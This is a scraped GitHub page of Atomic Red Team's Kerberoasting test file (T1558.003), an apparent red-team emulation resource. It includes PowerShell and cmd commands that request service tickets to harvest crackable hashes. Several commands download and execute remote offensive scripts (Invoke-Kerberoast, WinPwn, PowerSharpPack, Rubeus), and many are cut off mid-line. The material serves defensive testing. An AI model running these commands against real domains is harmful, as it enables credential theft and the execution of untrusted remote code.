

Product ▾

Solutions ▾

Resources ▾

Open Source ▾


Enterprise ▾

Pricing


Q


Sign in


Sign up

 redcanaryco / atomic-red-team


Public


 Notifications


 Fork 2.8k


 Star 9.7k


<> Code


 Issues 6


 Pull requests 5



 Actions

 Wiki

 Security

 Insights

atomic-red-team / atomics / T1558.003 / T1558.003.md 

 Atomic Red Team doc generat... Generated docs from job=generate-d... 819934c · 2 years ago  History

# T1558.003 - Kerberoasting

## Description from ATT&CK

Adversaries may abuse a valid Kerberos ticket-granting ticket (TGT) or sniff network traffic to obtain a ticket-granting service (TGS) ticket that may be vulnerable to [Brute Force](https://attack.mitre.org/techniques/T1110).(Citation: Empire InvokeKerberoast Oct 2016)(Citation: AdSecurity Cracking Kerberos Dec 2015)

Service principal names (SPNs) are used to uniquely identify each instance of a Windows service. To enable authentication, Kerberos requires that SPNs be associated with at least one service logon account (an account specifically tasked with running a service(Citation: Microsoft Detecting Kerberoasting Feb 2018)).(Citation: Microsoft SPN)(Citation: Microsoft SetSPN)(Citation: SANS Attacking Kerberos Nov 2014) (Citation: Harmj0y Kerberoast Nov 2016)

Adversaries possessing a valid Kerberos ticket-granting ticket (TGT) may request one or more Kerberos ticket-granting service (TGS) service tickets for any SPN from a domain controller (DC).(Citation: Empire InvokeKerberoast Oct 2016)(Citation: AdSecurity Cracking Kerberos Dec 2015) Portions of these tickets may be encrypted with the RC4 algorithm, meaning the Kerberos 5 TGS-REP etype 23 hash of the service account associated with the SPN is used as the private key and is thus vulnerable to offline [Brute Force](#) attacks that may expose plaintext credentials.(Citation: AdSecurity Cracking Kerberos Dec 2015)(Citation: Empire InvokeKerberoast Oct 2016) (Citation: Harmj0y Kerberoast Nov 2016)

This same behavior could be executed using service tickets captured from network traffic.(Citation: AdSecurity Cracking Kerberos Dec 2015)

Cracked hashes may enable [Persistence](#), [Privilege Escalation](#), and [Lateral Movement](#) via access to [Valid Accounts](#).(Citation: SANS Attacking Kerberos Nov 2014)

## Atomic Tests

- [Atomic Test #1 - Request for service tickets](#)
- [Atomic Test #2 - Rubeus kerberoast](#)
- [Atomic Test #3 - Extract all accounts in use as SPN using setspn](#)
- [Atomic Test #4 - Request A Single Ticket via PowerShell](#)
- [Atomic Test #5 - Request All Tickets via PowerShell](#)
- [Atomic Test #6 - WinPwn - Kerberoasting](#)
- [Atomic Test #7 - WinPwn - PowerSharpPack - Kerberoasting Using Rubeus](#)

Page 1 of 6

## Atomic Test #1 - Request for service tickets

This test uses the Powershell Empire Module: Invoke-Kerberoast.ps1 The following are further sources and credits for this attack: [Kerberoasting Without Mimikatz source] (<https://www.harmj0y.net/blog/powershell/kerberoasting-without-mimikatz/>) [Invoke-Kerberoast source] (<https://powersploit.readthedocs.io/en/latest/Recon/Invoke-Kerberoast/>) when executed successfully , the test displays available services with their hashes. If the testing domain doesn't have any service principal name configured, there is no output

Supported Platforms: Windows

auto\_generated\_guid: 3f987809-3681-43c8-bcd8-b3ff3a28533a

Attack Commands: Run with powershell !

```
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]
iex(iwr https://raw.githubusercontent.com/EmpireProject/Empire/08cbd274b
Invoke-Kerberoast | fl
```

Dependencies: Run with powershell !

Description: Computer must be domain joined

Check Prereq Commands:

```
if((Get-CIMInstance -Class Win32_ComputerSystem).PartOfDomain) {exit 0} |
```

Get Prereq Commands:

```
Write-Host Joining this computer to a domain must be done manually
```

## Atomic Test #2 - Rubeus kerberoast

Information on the Rubeus tool and it's creators found here: <https://github.com/GhostPack/Rubeus#asreproast> This build targets .NET 4.5. If targeting a different version you will need to compile Rubeus

Supported Platforms: Windows

auto\_generated\_guid: 14625569-6def-4497-99ac-8e7817105b55

Inputs:

Name	Description	Type	
local_folder	Local path of Rubeus executable	Path	\$Env:temp
local_executable	name of the rubeus executable	String	rubeus.exe
out_file	file where command results are stored	String	rubeus_output.txt

rubeus_url	URL of Rubeus executable	Url	<a href="https://github.com/morgansec/Rubeus/raw/">https://github.com/morgansec/Rubeus/raw/</a>
flags	command flags you would like to run (optional and blank by default)	String	

Attack Commands: Run with powershell !

```
klist purge
cmd.exe /c "#{local_folder}\#{local_executable}" kerberoast #{flags} /ou
```

Cleanup Commands:

```
Remove-Item #{local_folder}\#{out_file} -ErrorAction Ignore
```

Dependencies: Run with powershell !

Description: Computer must be domain joined

Check Prereq Commands:

```
if((Get-CIMInstance -Class Win32_ComputerSystem).PartOfDomain) {exit 0} ;
```

Get Prereq Commands:

```
Write-Host Joining this computer to a domain must be done manually
```

Description: Rubeus must exist

Check Prereq Commands:

```
if(Test-Path -Path #{local_folder}\#{local_executable}) {exit 0} else {e
```

Get Prereq Commands:

```
Invoke-WebRequest -Uri #{rubeus_url} -OutFile #{local_folder}\#{local_ex
```

## Atomic Test #3 - Extract all accounts in use as SPN using setspn

The following test will utilize setspn to extract the Service Principal Names. This behavior is typically used during a kerberos or silver ticket attack. A successful execution will output all the SPNs for the related domain.

Supported Platforms: Windows

auto\_generated\_guid: e6f4affd-d826-4871-9a62-6c9004b8fe06

Inputs:

Files

f339e7d

Go to file

> .github

> atomic\_red\_team

> atomics

> Indexes

> T1003.001

> T1003.002

> T1003.003

> T1003.004

> T1003.005

> T1003.006

> T1003.007

> T1003.008

> T1003

> T1006

> T1007

> T1010

> T1012

> T1014

> T1016

> T1018

> T1020

> T1021.001

> T1021.002

> T1021.003

> T1021.006

> T1027.001

> T1027.002

> T1027.004

> T1027

> T1030

> T1033

> T1036.003

> T1036.004

> T1036.005

> T1036.006

> T1036

> T1037.001

Name	Description	Type	Default Value
domain_name	The Domain Name to lookup against	String	%USERDNSDOMAIN%

Attack Commands: Run with `command_prompt` !

atomic-red-team / atomics / T1558.003 / T1558.003.md ↑ Top

Preview

Code

Blame

335 lines (182 loc) · 10.4 KB

Raw

Dependencies: Run with `powershell` !

Description: Computer must be domain joined

Check Prereq Commands:

```
if((Get-CIMInstance -Class Win32_ComputerSystem).PartOfDomain) {exit 0}
```

Get Prereq Commands:

```
Write-Host Joining this computer to a domain must be done manually
```

## Atomic Test #4 - Request A Single Ticket via PowerShell

The following test will utilize native PowerShell Identity modules to query the domain to extract the Service Principal Names for a single computer. This behavior is typically used during a kerberos or silver ticket attack. A successful execution will output the SPNs for the endpoint in question.

Supported Platforms: Windows

auto\_generated\_guid: 988539bc-2ed7-4e62-aec6-7c5cf6680863

Attack Commands: Run with `powershell` !

```
Add-Type -AssemblyName System.IdentityModel
$ComputerFQDN=$env:LogonServer.trimStart('\') + "." + $env:UserDnsDomain
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -A
```

Dependencies: Run with `powershell` !

Description: Computer must be domain joined

Check Prereq Commands:

```
if((Get-CIMInstance -Class Win32_ComputerSystem).PartOfDomain) {exit 0}
```






Get Prereq Commands:

```
Write-Host Joining this computer to a domain must be done manually
```

## Atomic Test #5 - Request All Tickets via PowerShell

The following test will utilize native PowerShell Identity modules to query the domain to extract allthe Service Principal Names. This behavior is typically used during a kerberos or

Page 4 of 6

- >  T1037.002
- >  T1037.004
- >  T1037.005
- >  T1039
- >  T1040

silver ticket attack. A successful execution will output the SPNs for the domain in question.

Supported Platforms: Windows

auto\_generated\_guid: 902f4ed2-1aba-4133-90f2-cff6d299d6da

Inputs:

Name	Description	Type	Default Value
domain_name	The Domain Name to lookup against	String	%USERDNSDOMAIN%

Attack Commands: Run with powershell!

```
Add-Type -AssemblyName System.IdentityModel
setspn.exe -T #{domain_name} -Q */* | Select-String '^CN' -Context 0,1 |
```

Dependencies: Run with powershell!

Description: Computer must be domain joined

Check Prereq Commands:

```
if((Get-CIMInstance -Class Win32_ComputerSystem).PartOfDomain) {exit 0} |
```

Get Prereq Commands:

```
Write-Host Joining this computer to a domain must be done manually
```

## Atomic Test #6 - WinPwn - Kerberoasting

Kerberoasting technique via function of WinPwn

Supported Platforms: Windows

auto\_generated\_guid: 78d10e20-c874-45f2-a9df-6fea0120ec27

Attack Commands: Run with powershell!

```
$S3cur3Th1sSh1t_repo='https://raw.githubusercontent.com/S3cur3Th1sSh1t'
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/refs/heads/master/Kerberoasting.ps1')
Kerberoasting -consoleoutput -noninteractive
```

## Atomic Test #7 - WinPwn - PowerSharpPack - Kerberoasting Using Rubeus

PowerSharpPack - Kerberoasting Using Rubeus technique via function of WinPwn

Supported Platforms: Windows

auto\_generated\_guid: 29094950-2c96-4cbd-b5e4-f7c65079678f

Attack Commands: Run with powershell!

```
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/refs/heads/master/PowerSharpPack.ps1')
```

Invoke-Rubeus -Command "kerberoast /format:hashcat /nowrap"